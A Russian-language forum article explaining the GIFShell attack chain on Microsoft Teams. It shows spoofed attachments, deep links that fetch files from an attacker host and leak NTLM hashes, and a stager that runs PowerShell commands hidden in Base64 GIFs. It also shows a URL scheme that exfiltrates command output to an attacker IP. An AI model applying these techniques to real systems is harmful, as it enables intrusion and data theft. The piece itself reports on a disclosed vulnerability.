Статья Ядовитые гифки. Как работает уязвимость GIFShell

Admin

Администратор

Ядовитые гифки. Как работает уязвимость GIFShell​


Попытки спрятать вредоносное содержимое в обычных графических файлах предпринимались уже давно, и некоторые из них даже были успешными. На днях в блоге BleepingComputer был опубликован отчет о новой уязвимости, позволяющей запускать reverse shell в Microsoft Teams при помощи обычных GIF-файлов. Давай посмотрим, как она работает.

Когда мы говорим о внедрении вредоносного кода в графические файлы, сразу вспоминается дроппер, который извлекал бинарник трояна из сохраненной на диске картинки, и другая малварь, искавшая в опубликованном на удаленном сервере изображении управляющие команды. Новый вектор атаки, получивший наименование GIFShell, похож на второй случай. Он позволяет киберпреступникам злоупотреблять недостатками корпоративной платформы Microsoft Teams для запуска reverse shell и выполнения на скомпрометированном компьютере вредоносных команд. Причем добиваются всего этого при помощи обычных GIF-файлов. Ну, почти обычных.

GIFShell представляет собой не одну конкретную уязвимость, а целую цепочку атак, использующих различные недочеты в архитектуре платформы Microsoft Teams. Всего уязвимостей обнаружено семь, их выявил и систематизировал независимый эксперт по кибербезопасности Бобби Раух. Например, пользователям Microsoft Teams доступна возможность отправлять друг другу вложенные файлы, причем эти вложения могут загружать содержимое с внешнего URL, а не по внутренней ссылке SharePoint. Эти файлы порой выглядят вполне безобидными, однако при этом содержат неприятный сюрприз. У пользователя Microsoft Teams нет никакой возможности предварительно проверить, вредоносно такое вложение или нет.

Кроме того, Microsoft Teams позволяет загружать картинки в формате GIF с удаленных серверов и отправлять пользователям GIF-файлы в кодировке HTML Base64 и никак не проверяет их содержимое. Поэтому можно спрятать внутри такого файла вредоносные команды. Платформа поддерживает небезопасные схемы URI, допускающие кражу хешей SMB NTLM или атаки типа NTLM Relay. Наконец, весь трафик Microsoft Teams направляется клиентам через серверы Microsoft, из‑за чего антивирусы считают его легитимным и не замечают угрозы. Все это в совокупности открывает перед хакерами очень интересные возможности.

По соображениям безопасности пользователи Microsoft Teams из одной группы не имеют возможности напрямую обмениваться файлами с членами других групп. В окне отправки сообщения участнику другой команды попросту отсутствует кнопка с изображением скрепки, позволяющая прикрепить файл. Однако простые сообщения отправлять можно — многие администраторы даже не подозревают о том, что пользователи Teams по умолчанию могут получать сообщения от кого угодно.

Когда сообщение с вложением отправляется пользователю из той же группы, Microsoft Teams формирует ссылку SharePoint на вложенный файл, которая преобразуется в JSON и отправляется в виде POST-запроса на эндпойнт Teams. По умолчанию такую ссылку могут просматривать только отправитель и получатель сообщения. Но серверы Microsoft не проверяют, есть ли в ссылках SharePoint в теле JSON адреса сторонних серверов, поэтому такая ссылка может быть заменена любым URL. Это позволяет злоумышленнику выполнить атаку drive-by download. Кроме того, в этом JSON можно подменить и обозначение формата файла, вместо разрешенного JPEG передав, например, DLL или EXE.

Самое интересное, что на промежуточных серверах не проверяется и этот параметр: получатель увидит, что в послание вложено изображение JPEG, разве что без предварительного просмотра. Если юзер наведет курсор мыши на это вложение, также будет продемонстрировано имя вложенной картинки, например Christmas_Party_Photo.jpeg, хотя на самом деле файл имеет имя Christmas_Party_Photo.jpeg.............exe.
1769030501429


Поскольку используемые Teams JSON не имеют никакой CSRF-защиты, злоумышленник может легко автоматизировать отправку вредоносных сообщений, скажем с помощью модуля на Python, обходя любые установленные Microsoft ограничения.
1769030516190


Пример реализации такой атаки показан на видео.

Microsoft Teams поддерживает так называемую технологию deep linking. С ее помощью пользователи обмениваются ссылками, при нажатии на которые выполняются те или иные действия Teams. Например, чтобы отправить другому пользователю ссылку на чат, можно выслать ему такую запись:
Код:
msteams://l/chat/0/0?users=<email>
Любопытно, но ссылки deep linking серверы Microsoft тоже не проверяют на валидность, что позволяет добавлять в сообщения практически любые URI. Например, ссылку, которая загружает с сайта злоумышленников файл .xls и открывает его в Excel на машине жертвы:
Код:
ms-excel:/ofv|u|//10.10.10.10/ROPNOP/filename.xls
Кроме того, когда пользователь открывает такую ссылку, на машину атакующего отправляются данные SMB handshake, что позволяет злоумышленнику перехватить хеш NTLM и передать его контроллеру домена.

Следующая приятная для хакеров новость заключается в том, что файлы журналов Microsoft Teams, в которых записываются в том числе все сообщения вместе с их содержимым, хранятся в открытом виде на диске компьютера пользователя. Причем для чтения этих файлов не требуется даже наличия прав администратора. Например, в версии Microsoft Teams для работы или обучения журналы хранятся в следующей папке:
Код:
$HOME\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.microsoft.com_0.indexeddb.leveldb\*.log
Полученные сообщения сохраняются в этих журналах и доступны для чтения всем группам пользователей Windows, то есть любое вредоносное ПО на устройстве может беспрепятственно получить к ним доступ.

Для успешного выполнения атаки GIFShell злоумышленник первым делом при помощи гипноза социальной инженерии должен убедить потенциальную жертву запустить на своей машине вредоносный стейджер. Переслать его можно под видом безобидного JPEG-файла, модифицировав отвечающий за вложения в сообщения JSON (об этом методе было рассказано выше), или с помощью ссылки deep linking. Концепт такого стейджера выложен на GitHub Бобби Рауха. Для разработки своей программы автор использовал Python и PowerShell, но, в принципе, подобное приложение можно написать на любом языке программирования.

Затем злоумышленник формирует и отправляет жертве закодированные в Base64 GIF-файлы, в которые добавляет нужные ему системные команды. Такие GIF-файлы отображаются в окне Microsoft Teams как обычные картинки и вместе с самим сообщением сохраняются на диск в файл журнала. Стейджер на атакуемом компьютере сканирует журналы, ищет в них изображения в формате GIF/Base64, декодирует их, а затем выполняет спрятанные в Base64 команды с использованием PowerShell.

Итак, половина дела сделана: мы смогли выполнить команду на компьютере жертвы. Но ведь нужно еще передать ее вывод злоумышленнику! Для этого стейджер отслеживает выполнение команд на атакуемой машине, а затем формирует URL вида http://<attacker-ip>/<base64-encoded-command-output>.gif, где attacker-ip — это IP-адрес сервера атакующего, а base64-encoded-command-output — закодированный в Base64 вывод выполненной команды. Этот URL упаковывается в так называемую карточку опроса Microsoft Teams — сообщение в формате JSON — и отправляется на серверы Microsoft Teams.

Когда сервер Microsoft получает такую карточку, он обращается к узлу атакующего (IP-адрес которого содержится в URL) и пытается скачать оттуда GIF-файл. Дальше все просто: в имени этого несуществующего GIF-файла зашифрован в Base64 вывод команды, выполненной на машине жертвы. Этот вывод расшифровывается и передается атакующему. Например, файл с именем dGhlIHVzZXIgaXM6IA0KYm9iYnlyYXVjaDYyNzRcYm9iYnlyYXVJa0K.gif будет декодирован в вывод команды whoami, выполненной на скомпрометированном устройстве:
Код:
the user is:
bobbyrauch6274\bobbyrauIkBáë
Таким замысловатым образом реализуется достаточно эффективный обратный шелл — в опубликованном автором видео показано, как он работает.

Атакующие могут отправлять жертве большое количество картинок в формате GIF, содержащих команды, и получать информацию о выполнении спрятанных внутри команд. Поскольку все эти данные передаются через серверы Microsoft Teams и представляют собой обычный трафик приложения, антивирусы и брандмауэры не блокируют и не фильтруют его, что дает злоумышленникам полную свободу действий. Ну а поскольку Microsoft Teams работает как фоновый процесс, пользователю даже не нужно открывать его окно, чтобы вредоносные команды выполнились на его компьютере.

Бобби Раух проинформировал Microsoft об обнаруженных им уязвимостях в мае и июне 2022 года, но в Редмонде не посчитали их критически важными, и исследователь получил возможность обнародовать свою находку. Все описанные им атаки успешно выполнялись на Microsoft Teams версии 1.5.00.11163, и они гарантированно будут работать на более ранних версиях. Администраторы блога BleepingComputer обратились в Microsoft за комментариями по поводу устранения обнаруженных Раухом уязвимостей и получили такой ответ: «Некоторые уязвимости невысокой степени серьезности, которые не представляют непосредственной угрозы для пользователей, не являются приоритетными для немедленного обновления безопасности, но возможность их исправления будет рассмотрена в следующей версии ПО».

Иными словами, Microsoft не торопится исправлять проблемы с безопасностью, а значит, злоумышленники могут пользоваться ими и в дальнейшем. Поэтому пользователям Microsoft Teams следует проявлять особую осторожность и бдительность, если они не хотят стать жертвой хакеров.
 
Похожие темы
Admin Статья Как понять что в файле склейка Вирусология 0
Admin Интересно Как взломать взломщика? Достаточно найти в его коде одну «забытую кнопку». Новости в сети 0
Admin Интересно Хакер думал, что украл пароль, а на самом деле – позвонил в полицию. На GitHub учат, как развести взломщика на эмоции (и логи). Новости в сети 0
Admin Интересно Четверть биткоина за «квантовые мозги». Рассказываем, как поднять крипту на знании физики. Новости в сети 0
Admin Интересно Один пакет = полный контроль VMware — дыру не латают 18 месяцев, серверы падают как домино. Новости в сети 0
Admin Статья Как на основе ФИО, даты рождения и района получить номер паспорта и ИНН. OSINT 0
semsvm Интересно Как найти утеряные биткоин-адреса и закрытые ключи Полезные статьи 0
Admin Статья Пентест. Как получить свои первые root права. Уязвимости и взлом 0
Admin Интересно Ваш компьютер ведет двойную жизнь. Как домашние IP становятся инструментом в руках хакеров. Новости в сети 0
Admin Интересно «Отдай мастер-пароль, или всё удалим!». Как хакеры берут на мушку пользователей LastPass. Новости в сети 0
Admin Интересно Секретные настройки браузера для боссов: как вычистить всё лишнее из Chrome и Firefox без сомнительных форков. Новости в сети 0
Admin Интересно Сначала помогут, потом ограбят. Как хакеры превратили Microsoft Quick Assist в «троянского коня». Новости в сети 0
Admin Интересно Ваш принтер не то, чем кажется. Как хакеры прячут вирусы в установщиках драйверов. Новости в сети 0
Admin Статья Как правильно изучать malware-кодинг под Windows Вирусология 0
Admin Интересно «Пароль01» и дырявый VPN. Как пустить хакеров в сеть, чтобы они сломали вообще всё (пошаговая инструкция). Новости в сети 0
Admin Статья Как "Казаки" паттерны мошенников-"Разбойников" вычисляют, вооружаясь технологиями. Анонимность и приватность 0
Admin Интересно Ваш сервер — их притон: как группа UAT-7290 сдает ваши сервера в аренду своим друзьям. Дорого. Новости в сети 0
Admin Интересно Как стать «богом» в Linux, просто правильно подгадав время. Спойлер: вам понадобится Chronomaly. Новости в сети 0
Admin Статья Как оставаться незаметным в 2025 году – простые правила оперативной безопасности для всех. Анонимность и приватность 0
Admin Статья HTTP Request Smuggling в 2025: Как обходить современные WAF Уязвимости и взлом 0
Admin Статья Криптография в малвари: Как работают вымогатели (Ransomware). Полезные статьи 0
Admin Статья Право на root. Как повышают привилегии в Linux. Уязвимости и взлом 0
Admin Статья Как простой баг повреждения памяти ядра Linux приводит к полной компрометации системы(Часть 2) Уязвимости и взлом 0
Admin Статья Как простой баг повреждения памяти ядра Linux приводит к полной компрометации системы(Часть 1) Уязвимости и взлом 0
Admin Статья Как Mozilla упустила (не)очевидную уязвимость Уязвимости и взлом 0
Admin Статья Почему ваш «Windows» прокси палится как Linux: Глубокий разбор TCP Window Size, о котором молчат. Анонимность и приватность 0
Admin Интересно Старый конь борозды не испортит. Как сертификат десятилетней давности помог хакерам проникнуть в госучреждения Азии. Новости в сети 0
Admin Статья Direct Syscalls vs EDR: Как заставить Windows выполнять ваши команды в обход хуков защитного ПО Вирусология 0
Admin Интересно Gemini лезет из каждой дыры Chrome? Вот как убить все ИИ-кнопки и вернуть нормальный браузер. Новости в сети 0
Admin Интересно «Здравствуйте, я журналист, заполните анкету». Как хакеры из КНДР «разводят» южнокорейских экспертов. Новости в сети 0
Admin Статья Гейминг как источник данных: OSINT в виртуальных мирах OSINT 0
Admin Статья Крипто-детектив: Идем по следу транзакций. Как деанонить блокчейн. OSINT 0
Admin Интересно Семь миллионов долларов за одну ночь. Рассказываем, как пострадали пользователи Trust Wallet и что делать сейчас. Новости в сети 0
Admin Интересно Казалось, что летим, а на деле — ползём. Как ИИ-помощники незаметно крадут время у профессиональных кодеров. Новости в сети 0
Admin Статья Анонимные мессенджеры: Как общаться, не оставляя следов Анонимность и приватность 0
Admin Интересно Охотник стал добычей. Как «безопасники» ловят вирусы, пытаясь скачать инструменты для их поиска. Новости в сети 0
Admin Интересно Цифровое чудо на Рождество. Как ученым удалось восстановить UNIX V4 с ленты 1970-х годов. Новости в сети 0
Admin Статья Взгляд с другой стороны: как Linux админ ловит вас Полезные статьи 0
Admin Статья Как отслеживается e-mail? OSINT 0
Support81 «Менеджер» с архивом и черным ходом через Yandex. Как группировка APT31 годами шпионила за российскими IT-компаниями Новости в сети 1
Support81 От 314 до 968 млрд рублей. Как российский рынок кибербезопасности станет монополией за 6 лет Новости в сети 0
Support81 Перевод крупной суммы по СБП на свой же счёт будет расцениваться банком как подозрительный Новости в сети 0
Support81 Перехват DNS – что это за атака и как она работает? Новости в сети 0
Support81 Суверенный Рунет. Мишустин подписал постановление о том, как им будут управлять (и от чего защищать) Новости в сети 0
Support81 $120000000 испарились за утро: как хакерам удалось обойти 10 аудитов и причем здесь ракетная программа КНДР Новости в сети 0
Support81 Одна буква — миллионные потери. Как русская «Е» обманула разработчиков и присвоила их крипту Новости в сети 0
Support81 «Ага, туннель! Придушим». Ваш VPN тоже лагает на 4G? Объясняем, как операторы видят ваш трафик (и что с этим делать) Новости в сети 0
Support81 «Магический пакет» творит чудеса: как хакеры превратили Linux-сервер в невидимку Новости в сети 0
Support81 Касперский против ChatGPT: как антивирус вычислил вредонос, написанный ИИ Новости в сети 0
Support81 Не Таиланд, а рабство в Мьянме: как туристический рай стал перевалочной базой для похитителей россиян Новости в сети 0

Название темы